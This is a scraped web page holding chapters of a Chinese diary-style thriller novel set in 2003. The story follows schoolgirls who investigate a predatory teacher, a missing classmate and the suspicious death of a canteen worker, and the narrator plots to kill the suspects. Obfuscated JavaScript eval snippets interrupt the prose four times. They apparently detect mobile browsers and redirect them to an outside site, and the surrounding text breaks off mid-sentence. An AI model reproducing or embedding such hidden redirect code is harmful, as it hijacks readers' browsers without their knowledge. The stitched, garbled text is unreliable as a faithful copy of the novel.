l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456735|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
“因为一个母亲的眼睛不会骗人。”我坚定地说。
毕晶晶皱起眉,打量了我一会,然后笑了一下:“你是高中生吗?”
她摇了摇头:“你真的不像。”
是啊。我看着远处,心想,我可是死里逃生的人。
亲眼见证过死亡的人,总会比同龄人多几分灵魂上的沟壑。
我们下了楼,忽然听见后面传来细碎的脚步声。
我们回过头,是方才在大厅见到的李思娟,李思婷的妹妹。
她的目光在我们之间逡巡,最后看向毕晶晶,她小声地问:“你是当时报道我姐姐自杀案的记者吗?”
毕晶晶点了点头。
她咬了咬下唇,像是下定了决心,最后她从自己的口袋里拿出了一张皱巴巴的纸,递给了毕晶晶。
“这是……?”毕晶晶惊愕地看着她。
“这是我,我姐的遗书。”李思娟看着她,“我姐的遗书是我妈发现的,她发现后,闹着要去找学校,被我爸按住了……我爸妈因为这事吵了一架,不知道为什么,我爸硬不让她说遗书的事情,还把遗书撕了,那时候我才十二岁,我只敢在旁边看着。”
我看向毕晶晶手上的那张遗书,上面明显是有人用透明胶把一张张碎纸片粘了起来。
“后来我趁她们不注意,去翻了垃圾桶,把这些碎纸都拿了出来,重新拼了起来。”李思娟的眼圈有些通红,“我不敢告诉任何人,我天天藏着它,就怕被我爸发现。”
“我把能捡到的碎纸都拼起来了。”李思娟抹了抹眼睛,“我只是觉得……我姐不该那样就死了……”
我不知道该说什么,只是觉得,我是如此理解她的心情,甚至我感觉,我就是她。
如果是我,我也会为了我的姐姐做任何事情。
哪怕代价是我死,我也会把真相说出去。
毕晶晶把遗书小心翼翼地放进包里,然后上前一步,轻轻拥住了李思娟。
“李思娟。”她郑重地看着她的眼睛,一字一顿地说,“你是一个勇敢的女孩。”
“谢谢你们。”
李思娟向我们鞠了个躬,转身走上了楼。
我目送她的背影消失在了楼梯转角处。
2003年4月10日阴
那封遗书因为是拼贴成的,虽然李思娟已经尽力还原了,但还是有一些字迹破损。
遗书很短,只有一张纸,李思婷在上面描述了她爱上了一个不爱的人,是她的老师,老师经常会带她外出玩,也会亲吻她,她甜蜜又痛苦,很想离开,可是又离不开,这段爱情让她痛苦万分,万念俱灰,只想了结自己的生命。
她只在最后模糊地提起了一句。
“林老师,你说,我最后能变成自由的鸟吗?”
毕晶晶说虽然这封遗书没有指名道姓,但还是一个比较有力的证据,虽然不一定能让林常雄进监狱,但至少可以让他的声名受到一些非议,也可以保护后面的受害者。
待她回去整理一下,看要如何写。
2003年4月14日阴
没想到的是,没有等来她的报道,却等来了另一个惊天消息。
林可欣失踪了。
11. 意外死亡
2003年4月16日阴转小雨
林可欣已经失踪五天了。
消息是施宜告诉我的。
林可欣家里的情况非常复杂,她母亲未婚先孕,十六岁就生下了她,没到法定结婚年龄,连结婚都不能结婚,那时候老一辈觉得这事让他们蒙羞,匆匆忙忙给她妈妈和她爸爸办了个婚礼,甚至两人都是未成年人。
这听起来不是婚礼,而是一桩强.奸案的私了。
“结婚”之后,她的母亲只能退学,在家带着她,四年之后,她母亲跳楼自杀。
她父亲没考上大学,高中毕业就出去打工,去了很远的城市,把她丢给奶奶带,奶奶本来就不喜欢她,根本不管她,有时候林可欣几天不回家,她也不去找人,该打牌打牌,该吃饭吃饭。
她奶奶催她爸爸再婚生个儿子,她爸爸没几年就结婚了,又生了个女儿,更加不回来了。
奶奶看儿子已经成了新家,更加对这个令家族蒙羞的孙女厌恶至极,动不动就打骂,不给饭吃。
所以这次,林可欣失踪了整整三天,又是班主任发现,打电话给家里,奶奶说谎,说林可欣生病请假。
班主任信了,结果过了两天,林可欣还是没来,她再次打电话给家里,奶奶这才说林可欣没回家。
班主任报了警。
晚上,我们聚在施宜家里,在客厅里,围坐在桌子周围,每个人神情肃穆阴沉,像在参加什么非法集会似的。
“林可欣是在哪失踪的?”我率先打破了平静。
“不知道。”施宜摇了摇头,眼神有点发直,“上次和她说话还是她来这儿住了一晚上。后来,在学校里都很少遇见他了。”
“她说她新交的男朋友,是谁?”邓娇突然问。
“她又有新男朋友了吗?”苏晓雯在一边插嘴道。
施宜皱了皱眉:“那天来我家住的时候,她好像有提过,叫…段景曜。”
“十六班那个班长?”苏晓雯问。
“对,就是他。”施宜肯定地点了点头。
“林可欣失踪后,他好像可着急,到处帮忙发寻人启事。”邓娇说。
苏晓雯一脸嫌弃:“拉倒吧,看他那样子,也不是什么好鸟。指不定林可欣的失踪和他也有关呢。”
苏晓雯平时说话大大咧咧,刻薄尖酸,还爱阴阳怪气,她刚才说的话应该只是纯粹抒发内心情绪,然而却让几个人都陷入了沉默。
“我们也做不了其它的。”施宜摇了摇头,站了起来,垂眸看着我们,“早点休息吧。”
“我和邓娇就在这沙发打地铺,你俩房间里睡吧。”苏晓雯直接说。
施宜点了点头,对她的安排没什么异议。
在卫生间洗漱完之后,我到了施宜的房间,关上了门,摘掉了口罩。
我的红疹已经退去大半,现在的皮肤很光洁,几乎看不出有红疹的痕迹了。
施宜盯着我的脸看了半天,然后笑道:“真好。”
我坐在床边,认真地看着她:“施宜,你能不能答应我一件事?”
“什么?”
“好好活下去。”
施宜笑了:“那你也答应我一件事。”
“如果是好好活下去就不必了。我会的。”
“不是。”施宜握住我的手,“是,假如我们俩个之间有一个死了,另一个也要代替对方活下去,连着对方的那一份。”
她的眼睛在昏暗的台灯下显得复杂难辨,宛如凝固的黑曜石,我盯着她许久,才开口:“这是我们双方都要遵守的承诺吗?”
“是。”施宜定定地看着我,“假如我死了,你要替我活下去。”
“活下去,哪怕变成别人。”
我的耳边突然回响起那个女人的话。
活下去,就当是为了我。
这是施宜想说的。
2003年4月18日小雨
我盯着那一张广告单看。
上面是我从数码用品店拿回来的,全部的相机型号和价格。
我看了半天,又从抽屉拿出一沓钱,仔细数了数,再次放了回去。
没用。
我什么也买不起。
绝望,悲伤,痛苦齐齐涌上心头,我抓着我的头发,慢慢低下了头。
下午再见到施宜的时候,她竟然剪了短发,长度和我差不多。
苏晓雯的目光在我俩之间来回转,接着她开口感叹道:“真像。”
她再次重复了一遍:“太像了。和亲姐妹一样。”
我淡淡地瞥了她一眼。
邓娇的目光闪烁着,不住地往我们俩之间看。
我忍不住去看了施宜一眼,施宜倒也没有什么反应,大大方方地让她看。
“还没找到吗?”苏晓雯又问。
她指的是林可欣。
“找不到。”施宜摇了摇头,“她那奶奶根本没有心思找,中国那么大,一个十七岁的少女的失踪,能起多少波澜。大概率他们都以为是离家出走了。”
三人齐齐沉默了。
好像有一双无形的大手,扼住了我们所有人的喉咙,让我们哭也哭不出,想发出声音都发不出一点声音。
我只觉得背上如同千斤重。
“回去吧。”施宜叹气,“有时候,这都是命。”
“这可不像你会说出的话。”苏晓雯一张嘴就是冷嘲热讽。
邓娇在旁边紧张地扫了施宜一眼,好像很怕她们吵起来。
可不知道为什么,施宜最近脾气出奇得好,像忽然间全身的刺都变柔软了,明明她剪了一头狗啃式的锋利的短发。
“是么?”她笑了笑,“也许我变了吧。”
这句话不知戳中了苏晓雯哪个点,她冷哼一声,扭头就走了。
邓娇也跟在她后面离开了。
我和施宜并肩站在原地,看着苏晓雯和邓娇离开的背影。
“魏冉。”施宜突然开口叫我的名字。
我的思绪一团乱麻,听见她叫我,我回过头看着她。
“你好好的。”她过来,捏了捏我的手。
我看着她,细细碎碎的槐花落在她的发间,像给她染了一头白发。
2003年4月20日大雨
……
原来人在猝不及防遭遇意外事件的心情竟然是麻木。
我麻木地站在原地,感觉自己的感官被屏蔽了,我的世界与眼前的世界隔离开来,所有的一切都是模糊不清的,如同隔了一层雾玻璃,我的灵魂像升到了半空,冷冷地睁开眼,俯视着我,我看见了围观的人群,里三层外三层,挤得水泄不通,每个人的表情或惊恐或讶异或压抑不住看热闹的好奇,镜头扫过,直到我在人群中看见了一张熟悉的脸。
她像是被人施了定身术,一动不动地愣在了原地,眼睛微微睁大,一向神采飞扬的眼睛也像被人抽走了魂,只剩余空洞的黑。
我跪在地板上,只觉得我在黑暗里不停地下陷,周围一片冰凉,冷得让我仿佛又回到了那个雪天,我在雪地里挣扎前行,想去打开那个门。
可雪落在我身上,太冷了。
我听见施宜在叫我,我眼前出现她的脸,她脸上的神色是前所未有的焦急,可是我只看见她的嘴一张一合,根本听不见她在说什么。
或者我听见了,但我只是单纯地在听,我根本没在理解她在说什么。
我的大脑自动地切断了听觉和神经中枢的链接。
我看见施宜的眼角有泪水淌下。
我所能做的,就是抬起手,轻轻帮她抹去了眼泪。
只这个动作,就已经耗尽了我的全部力气。
2003年4月21日
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456736|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小雨
林姨死了。
我第二天醒来的时候,才接受了这个事实。
我的思维像被强制关机了一天,等到今天,我才强硬地让它开机,逼它思考。
前天周五,我在宿舍待了一天,等到晚上,我打算去林姨隔壁看看林姨,她今天一天都没过去找我,我有些奇怪。
我敲了敲门,林姨没有回应。
我以为她出去了,就又回去了。
等到周五晚上九点,我又去了一次林姨的房间,还是没有人回应我。
我有些奇怪,心脏不安地跳动起来,我试图安慰自己,应该是出去办事了,时间比较久,再等等吧。
我回房间焦躁地等到了十点,又去房间敲门,还是没人应。
我开始紧张起来,我打了施宜电话,告诉了她这件事。
她让我别着急,先在附近找找,说不定林姨是去了哪办事。
她问我林姨会不会是回老家了。
我皱眉,随后想起林姨的家庭,她是北方来的,估计也是想要脱离原本的家,她是绝对不会再回去的。
我斩钉截铁地说林姨不可能回老家。
施宜说她现在马上过来陪我找。让我先在教学楼那边等她,不要一个人行动。
我拿起手电筒就出门了。
施宜还叫了苏晓雯和邓娇,她们俩都跑得气喘吁吁,一看就知道是匆匆忙忙赶来的。
我也没空和她们表达感谢,只简单点了点头。
“我和魏冉找教学楼这儿,晓雯,邓娇,你们去小树林那边。”
分头行动后,施宜和我一人一个手电筒,在校园里四处查找,在路过操场的时候,遇见了巡查的保安。
“你们两个学生,大晚上的不睡觉还在这边干什么?”保安问我。
“我们在找人。”施宜率先回答,“有一个食堂员工丢了。”
“食堂员工?”保安皱起眉,“叫什么名字?”
“林凤玉。”我回答。
保安仔细思考了一会:“就是一楼食堂那个打饭的阿姨吗?”
我点点头。
“你俩先回去,我叫几个兄弟过来帮忙找。你们大晚上在这,两个女生不安全。”
我和施宜对视了一眼,只好先回去了。
回到宿舍之后,施宜立刻给邓娇和苏晓雯打电话,苏晓雯带了手机。
她们把小树林搜了大半,没有任何活人的痕迹。
施宜怕我情绪不稳定,留在宿舍陪我,邓娇和苏晓雯先回去了。
她们不能离开太久,家里人会催。
我不清楚我是什么时候睡着的,我做了一晚上断断续续的噩梦,断断续续的片段闪回,有时是那个女人,有时是凶狠的有疤的男人,有时是林姨,有时是施宜。
我梦到冰冷的黑暗包裹着我,我似乎是在一座山上,触目可及的都是茂盛的灌木丛和那些高矮不一的树木。这些树木在白天看起来一派欣欣向荣的生机,可一到了夜晚,它们似乎就显得格外高大,像巨大的鬼影,森森地吐着獠牙。
有冷风吹过,树叶簌簌地响起,山上,传来动物的叫声。
我害怕地缩成一团,有一只手握住了我。
我抬起头,是施宜的侧脸。
她垂眸看向我,然后坚定地对我说:“别怕。”
我从梦中惊醒。
施宜在旁边用毛巾擦脸,看见我,刚要说些什么,座机的铃声就突兀地响起。
施宜比我反应快得多,立刻就扑向座机接了起来。
她把电话听筒放在耳边,小心翼翼地喂了一声。
接着,我看见她的脸上血色尽褪,脸色一点一点变得苍白。
挂了电话,室内一片寂静。
她深呼吸了一下,然后说:“苏晓雯说,找到林姨的尸体了。”
12. 目击者
2003年4月22日小雨
林姨的尸体是在学校后面一栋废弃的旧教学楼中间的空地发现的。
早上去那里打扫卫生的清洁人员发现的。
警察很快就过来,把这里都围了起来。
我浑浑噩噩,连怎么回的宿舍都不知道,只记得我在床上呆呆地坐着,床边围了一床的人。
苏晓雯和邓娇坐在床边看着我,施宜在烧水,最让我惊讶的是,毕晶晶也来了,她站在施宜身边,说着什么。
我一直在发呆,她们也不敢打扰我,我一动,苏晓雯马上站了起来。
“你还好吗?”她紧张地看着我。
施宜和毕晶晶围了过来,几个人七嘴八舌地开始问我。
我苦笑着:“好了,别问了,我头都痛了。”
几个人又闭嘴了。
沉默了一会,我问他们:“警察怎么说?”
几人面露犹豫,最后毕晶晶先开口了。
“警察初步判断是晚上去教学楼打扫卫生,不小心从楼上跌下来,坠楼死亡。现场暂时没有勘探出其他的痕迹,昨晚下了点小雨,现场的痕迹很杂。”
我沉默了一会,然后说:“你信么?”
毕晶晶沉默以对。
“她大晚上去那里扫地?”我深感荒谬,甚至笑出了声,“这个说辞真不是糊弄人的吗?”
施宜慢慢坐到我身边,摸了摸我的头发。
“那天轮到林姨值班。她平常除了食堂工作,还兼职扫地,清洁一类的。据学校清洁人员说,那天本来就是她当值……”
“我知道凶手是谁。”我已经完全听不进去任何人的话了,我只直直地注视着毕晶晶,“就是林常雄。”
我的话说得干脆利落,倒让她们无话可说,房间又陷入死一样的寂静。
“不是他,他有不在场证明。”施宜叹了口气,“你先冷静听我说。”
施宜和我说,刚才毕晶晶接到消息,直接赶到了现场,她刚写好那篇新闻,看见林姨死了,就立刻怀疑是林常雄,但是,林常雄昨天晚上一直在家里,和妻子还有母亲待在一起。
“那也有可能是他家人包庇他。”我咬牙切齿,只觉得一股无由来的恨意在胸腔里回荡。
“是,他的家人是可能包庇他,但是,我们还有其它证据吗?”
“什么意思?”我猛地转头看着施宜。
“证据。”施宜重复了一遍,“我们需要证据。”
我没说话,施宜也看着我。
我突然感到心口涌上一阵没来由的疲惫,我说我想睡觉,让她们都出去。
人陆陆续续离开了,施宜低头看了我一眼,她取下我的口罩,拍了拍我的被子,低声说:“一切都会好的。”
我闭上了眼睛。
2003年4月28日小雨
林姨的下葬仪式很简单。
只是在一个飘着小雨的清晨,给她在公墓挑了个墓碑,火化后,我亲手把她的骨灰盒放在墓碑前。
墓碑是黑色的,上面是一张她年轻时的黑白照片,她笑得很开心,因为她怀里搂着的是她的女儿。
我静静地看着她,仿佛她穿透了几十年的时光,在尽头向我微笑。
施宜在旁边给我撑伞,但此刻我更想淋雨。
我没哭。反而是邓娇在旁边落了眼泪,连苏晓雯都红了眼圈。
我知道,她们平时没少受林姨的照顾。
在我来之前,林姨早就把她们当女儿照顾了。
苏晓雯以前生活窘迫,家里不给生活费的时候,林姨每次都给她饭,然后告诉她这是食堂员工餐,她吃不完,免费的。
后来苏晓雯才知道,食堂有员工餐,但很少,根本没有林姨给她的那么丰盛。
邓娇脑子笨,沉默寡言,有时会被同学欺负,林姨看见了,会主动站出来训斥,还叫邓娇到她的宿舍,煮饭给她吃。
至于施宜,林姨知道她经常一个人在家,每次都让施宜到宿舍吃饭,施宜有次半夜发烧,林姨赶到她家里,一宿没合眼地照顾她。
她失去了女儿,从此之后,天下所有女孩都是她的女儿。
我呆呆地看着林姨的灵堂,直到有人轻轻将手放在了我的肩膀上。
我不用回头也知道她是谁。
我对着那张对我微笑的照片喃喃地说:“我想杀了他。”
施宜顿了顿,然后轻声应道:“好。”
2003年4月30日小雨
苏晓雯把她的手机给了我,说她家里还有个备用的,我有一个,方便联系。
我没有推辞,她走过来拍了拍我的肩。
下午,我在收拾林姨的遗物,却在她的抽屉发现了之前我拿的那份相机广告单,我曾经在上面勾勾画画算钱,林姨在上面打了个红圈。
拉开抽屉,有一个信封,里面很厚,我抽出来一看,是一沓钱。
全都是零零散散攒的零钱。甚至还有几个硬币。
所以虽然很厚,但实际上也只有两百左右。
信封上歪歪扭扭写着:相机。
我颤抖着放下信封。
接着我疯狂地开始翻找,又在衣柜里翻出了一个钱包,我打开钱包,里面塞着一个信封,打开一看,全是百元大钞,我数了下,竟然有五千左右。
信封上面也用同样的字迹歪歪斜斜地写着两个字“学费”。
我把信封塞回了衣柜。
不可能。
我觉得眼前一阵晕眩,耳边开始响起耳鸣的警报。
这绝对不可能是林姨自己攒的钱。只有可能是别人给她的。
会是谁呢?
一个身影跃入我的脑海。
林常雄。
他给了林姨这么多钱,却还要害林姨,为什么?
林姨到底看到了什么。
我关上衣柜,拿起外套就迅速出门了。
我来到林姨坠楼的那栋废弃教学楼,这栋教学楼也被学生们叫做“鬼楼”。
年久失修,栏杆都是木做的,经受风吹雨打,早已腐蚀入骨,摇摇欲坠,整栋楼在风中宛如皮影戏的倒影,给人一种随时都会倒塌的错觉。
根据警方调查,林姨是从四楼坠亡的。
四楼那边,正好有个栏杆缺了一个口子,木栏杆从中断开了一个豁口,像一个鲜血淋漓的伤口。
林姨到底在这看到了什么?
我来到了四楼,站在了那个缺口前面,往前了一步,堪堪在边缘停住。
我往下看,下面是一片空地,旁边的花圃许久没有打理,早已杂草丛生,不同种类的植物扎满了整个花圃,几乎把花圃都占得满满当当的。这几天一直下雨,地板都是湿漉漉的,花圃里的许多植物也被连日的暴雨打蔫了,无精打采地垂着头。
三角梅从各种灌木丛和植物的绞杀中顽强突围,凌风傲立,开出了一幅我自向天笑的孤芳自赏图。
空气中传来潮湿的泥土味。
我的视线一一扫过,然后看见了在鬼楼斜对角的教学楼。
是教师的办公楼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456737|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
我又往旁边看去,另一边就是教学楼。
鬼楼卡在一个很诡异的位置,它明明被边缘化了许久,却占据了一个同时观察办公楼和教学楼的绝佳位置。
我旁边挪了点,清清楚楚地看见了林常雄的办公室。
由于我在四楼,他的办公室在二楼,我占据视野的优势,可以将他的办公室一览无遗。
我又往旁边走了点,从我这个角度,可以看见教学楼的第三楼的最后一个房间,那里是个空教室,我再仔细辨认,发现那个空教室紧挨着十六班。
一个名字浮现在我的脑海里。
段景曜。
原来我们之前的猜测方向都是错误的。
我微微勾起唇角。
所以,我大胆做出一个假设。
林可欣的失踪和段景曜有关。而林常雄,之前频繁骚扰林可欣,很有可能也卷入了这件事,段景曜我不熟悉,无法推测此人的性格,但林常雄个性很谨慎,他是个猥琐的□□犯,一般这种人,他们沉浸在玩弄权力的快感中,不会亲自动手杀人,所以杀人的很可能是段景曜。
至于他为什么杀人,这不重要,总之他就是杀了。
林姨站在这,很有可能目睹到了他们杀人或者施暴的情景。
林姨的死亡时间是18日晚上,根据清洁人员说,她们七天轮一次,林姨是补班的,也就是当她们没空,林姨才去替上。
我想到这,拿出手机打了个电话。
清洁任务是由一个叫赵玉英的女人安排的。
我问了她林姨上次的排班时间,她给我找了下,说是在11号周五晚上。
我谢过了她,然后挂了电话。
这样就能说得通了。
11号就是林可欣失踪的时间。
4月11日,林姨来打扫卫生,在打扫到四楼的时候,无意间目睹到了段和林的恶行,她心里很慌,急忙收拾好卫生就离开了。
第二天,她怎么想都睡不着,于是她又回到了鬼楼,到处查看,然而已经没了痕迹。
她安慰自己也许那个女孩没事,结果几天之后,传来了林可欣失踪的消息。
她听到这个消息的时候,如遭雷击。因为她知道,她成了唯一的目击者了。
林凤玉是个大字不识几个的乡下女人,她不懂什么法律,只是凭着本能的朴素的正义心,觉得这是错误的,应该遭到惩罚。
然而当她决定要去报警的时候,不知道为什么,林常雄找上了她。
又或许是,她自己去找了林常雄。
总之林常雄应该是威逼利诱,并且开出了让她无法拒绝的条件,又给了她一大笔钱,这笔钱,足够供她的养女上完大学,林常雄甚至保证可以解决养女的学籍问题。
林凤玉动心了。
她这辈子没有做过任何亏心事,虽然人生赋予了她诸多苦难,然而她一直无愧于心地活着。
直到这一刻,她心里的天平悄悄地倾斜了那么一点。
只那么一点,就让她行错踏步,让她踏入了无限的深渊。
接受这笔钱,她的养女就可以上大学,可以奔赴更好的未来。
为什么不呢?
林凤玉安慰自己,接受了这笔钱,等养女上了大学,远走高飞之后,她就马上报警,把所看见的事情都说出来,到时候,要有什么惩罚她都认了。
然而她错估了林常雄的手段。
在18号的晚上,林姨照例去打扫卫生,可这次,一双手将她推向了死亡。
13. 杀人计划
2003年5月4日小雨
五一放假了三天。
施宜的父母要回来,施宜借口要出去,直接搬到了我的宿舍。
我把我的猜测告诉了施宜。
施宜的脸色很平静,她点了点头,说她想的也和我差不多。
她是什么时候……?
然而我没问。
我问她要不要把这些推测告诉警察?
施宜在宿舍里来回踱步,她最终停了下来,然后问我,有证据吗?
我迟疑了一会儿,然后说:“也许可以查查四楼的脚印。”
施宜指了指外面的天气,说:“你知道这个鬼天气已经这样多久了吗?”
“已经下了半个月的雨了。”
她打开窗户,外面依然是淋淋沥沥的小雨,这场顽固的雨始终徘徊在南湾市的上空,如幽灵般寄生在南湾市的每个角落,让所有的物品都散发着无尽的潮气。
“就算有什么证据,晚上下一场暴雨,哗啦,全没了,别说脚印,就是血迹,也都给你冲得干干净净的。”施宜笑了一声,“我们这个小破地方的小破学校,什么也没有,监控没有,安保人员也没有,假如真有什么证据,你觉得警察会找不到吗?”
“所以,就这样算了吗?”我猛地抬头,盯着她。
她沉默地倚在窗边,背后是连绵坠落的蒙蒙雨丝。
她的身影像融入了这场连绵无尽的雨中。
“我想想。”她只是这么说。
好像一切到了最后,也只能说出这三个字。
我躺在床上,盯着天花板看。
一个念头突兀地闯进了我的脑海里。
我要杀了他。
我想杀了他。
2003年5月7日小雨
我有了一个杀人计划。
如果按照我之前的推测,林常雄和段景曜应该属于共犯,他们共同谋杀了林可欣,林姨的死,也和他们逃不开干系。至于是谁把林姨推下去的,我无法确定。
利用这一点,我可以先给林常雄发信息,说我看到了你们的所作所为,让林常雄出来,接着,我再给段景曜发消息,就说我已经从林常雄那里知道了一切。
然后,我把他们约到一个容易下手的地方,再一一解决他们。
什么地方?
什么地方是杀人弃尸的好地方?
我忽然想起学校附近有一条小河,那条河穿过树林和村庄,一直流到不远处的城市渠道,河流途径小树林附近,那里荒无人烟,非常偏僻,且河岸很浅,是个杀人弃尸的好地方。
我打定了主意。
即使最后是我和他们同归于尽,我也接受。
这个计划我没告诉任何人,连施宜也是。
施宜最近每天往我这儿跑,像是害怕我做出什么傻事,时常忧心忡忡地盯着我。
我说我没事,你快回去准备高考吧。
她说没事,她的成绩没问题的。
我看着她,我说你一定要去很远的地方,不要回来了。
她笑了笑,伸出手搂了搂我的肩,说那我们一起走。
我说好啊,一起走。还要邓娇和苏晓雯,她们都一起。
那我们四个考一个大学。施宜托着下巴,看着窗外,飘摇的雨滴投在她的脸上。
以后呢,我们就住一起,我可以负责做饭,邓娇可以打扫卫生,苏晓雯呢,她什么都不会,安排她去洗碗吧。
那我呢?我问。
你?她笑起来,眼睛微眯,你就坐在那里享受就好了。
我大笑起来。
她也看着我笑起来。
离开这里。我盯着她的侧脸,在心里说。你一定要离开这里,离得远远的,去遥远的远方,去做自由的自己,你不要受这些苦,你要幸福,你要自由,你要像天上的鸟。
我将承担所有的罪孽,你当我的光,我当你的影子。
2003年5月10日小雨
又过了一周,完全没有知觉的,浑浑噩噩的一周。
今天我去买了报纸,才发现毕晶晶刊登了那篇报道,但不是在第一个版面,而是在很后面的,角落里。
报道的内容也很简单,就是提起了三年前南湾中学跳河自杀的女学生曾留下过遗书,遗书内容却半点也没公布。
我知道她在顾忌什么。
那天她给我打电话,语气颇为无奈。
她考虑了很久,也和主编斗争了很久,所有人都不支持她把那封遗书的内容公布于世。怕惹来麻烦。
她倒不怕,但是她想起了那个把遗书递给她的小女孩,李思娟。
如果她把遗书公布,她的父亲看见了,会怎么对她?
那个想方设法让遗书内容不被公布的“林老师”又会怎么做?
太多太多干扰因素。让她裹足不前,不敢踏出那一步。
勇敢是有代价的。
可当这个代价是别人的,总能让善良的人变得怯懦。
我说我知道了,没关系。真的没关系。
我从五岁就知道,这个世界就是这样的。
不过是来到这里,交了几个朋友,受到了些温暖,有了亲人,就好了伤疤忘了疼,以为这个世界变好了。
看来我可能错了。
2003年5月13日小雨
因为我一直没去上学,施宜又来宿舍找我。
我躺在床上,歪着身子随便翻着罪与罚。
这是我最喜欢的书,是之前有个书店的老板送我的,他送我是因为我每天待在他的书店里翻这本书,翻得书页都翻折了,他索性就送给了我,说反正也破损成这样了,也卖不出去了,不如就送我。
我反反复复地翻阅它,现在封面都已经磨损了大半。
正读到波尔菲利对主人公说,一百只兔子永远拼不成一匹马,一百种怀疑永远凑不成一种证据的时候。
敲门声响起。
我把罪与罚扔到了一边,起身去开门。
不出我所料,是施宜。
没等我反应过来,施宜先我一步跨进房间,揉了揉我的头发,笑了笑。
我也打起精神朝她笑了一下。
我现在看起来状态肯定很糟糕,头发也几天没洗,乱且油腻。
施宜把饭盒放了下来,看着我:“你看你,你快点去洗一洗吧。”
“不想洗。反正我也不出门。”
我嘟哝着坐下,打开饭盒,饭盒里的菜色香味俱全,有小酥肉,炒青菜还有竹笋,另一个保温壶里装的是榨菜肉丝汤。
“这是你做的么?”我吃了一口,震惊道。
“不是。是我们校门口那边,新开了一家店,他们家做的菜很好吃。而且,他们老板很有意思,他竟然在自己店里装了监控。”
施宜坐在我旁边,也打开了饭盒,和我一起吃。
我忙着吃饭,只嗯嗯了两声。
“我第一次在这个小破城市看见监控。我看了好一会儿,真神奇。”施宜吃了一口饭,然后说,“老板说,他之前在大城市开超市,被一伙人抢劫,后面他就装了监控,再也没人敢来抢了。后面他喜欢上一个南湾的女生,跟着女生来到南湾市结婚,来这边开了家饭店,也装了监控,他说之后隔壁还要开个超市呢。”
施宜不知道为什么,今天心情格外兴奋,一直在侃侃而谈。
我对什么老板啊监控啊,提不起丝毫的兴趣,也不知道施宜找我说这些话是为什么。
但她既然想说,那我就听着。
我在这个世界上没有别的亲人了,我只剩她一个了。
我不想再失去任何人了。
“你应该出门走走。”施宜停了下来,看向我,我从她眼里看出了毫不掩饰的心疼。
我摇摇头:“不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456738|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太想。出去也没意思。”
施宜抓住我的手:“后天,15号晚上七点半,我们一起去门口那家饭店吃饭怎么样?这饭盒里能装的菜有限,那边还有很多很好吃的菜!我请你吃。”
我想拒绝,但施宜却抓着我的胳膊。
“就当是为了我。”她顿了顿,“为了姐姐。”
我愣住了。
然后我点了点头。
施宜立刻变得高兴起来,她神采飞扬,眉飞色舞地继续拉着我讲很多事情。
我只是听着,然后盯着她的脸看。
“魏冉。你的脸完全好了诶。”施宜看着我,啧啧称奇,“这下,你和我一样漂亮了。”
我笑了笑,没说话。
施宜靠了过来,轻轻地把我揉进她的怀里,然后慢慢说:“会好的。马上了。”
我不知道她说的是马上是多久。
我只觉得回南天缠绵的潮湿,已经长在我的心里了。
2003年5月15日中雨
在宿舍又躺了两天的我,终于舍得挪窝下床,我去卫生间稍微洗漱了一下,洗了个头。
我甚至都不敢看镜子里的自己,只沉默且机械地洗脸,穿衣,然后看着桌上的短信发呆。
我已经给林常雄和段景曜发过信息了,但他们都还没回我。
计划出现什么问题了?我有些焦躁起来,但又不停劝自己要耐心,一定要耐心。
心急吃不了热豆腐,何况杀人呢。
我一定要认真规划,确保计划完美无缺。
我盯着短信的页面,总觉得这个计划似乎缺少了点什么。
不管怎么样,今天晚上已经约了施宜见面,我们以后可能没办法见面了,我要去见她,我立刻就要去见她。
我到了那家饭馆,饭馆的名字叫小幸福。
名字很好听。
我走了进去,老板热情地欢迎我,问我要点些什么。
我看向菜单,点了上次施宜打包回来的全部菜。
老板边记录边说:“这几道菜都挺受欢迎的,最近几天大家都喜欢点这些。”
我点点头,掏出钱结了账,说给我一个两人的位置,一会还有个人要来。
老板应了声好嘞,然后给我指了个距离柜台很近的靠墙的位置。
我坐了下来,觉得脑子还是麻木的,似乎一切都凭着本能在行动。
我好像坠入水中,水流温柔地包裹着我,我把自己浸泡在水里,隔绝了外界的一切。
然而很快的,温和的水流像丝绸一样缠绕上我的脖子,挤压我的肺部,一点一点抽干我肺里的空气,我无法呼吸,窒息感让我说不出话。
有没有人来救救我…
随便来个人都好…
救我…
老板来上菜了。
碗筷碰撞的清脆声忽然撞进我的耳里。
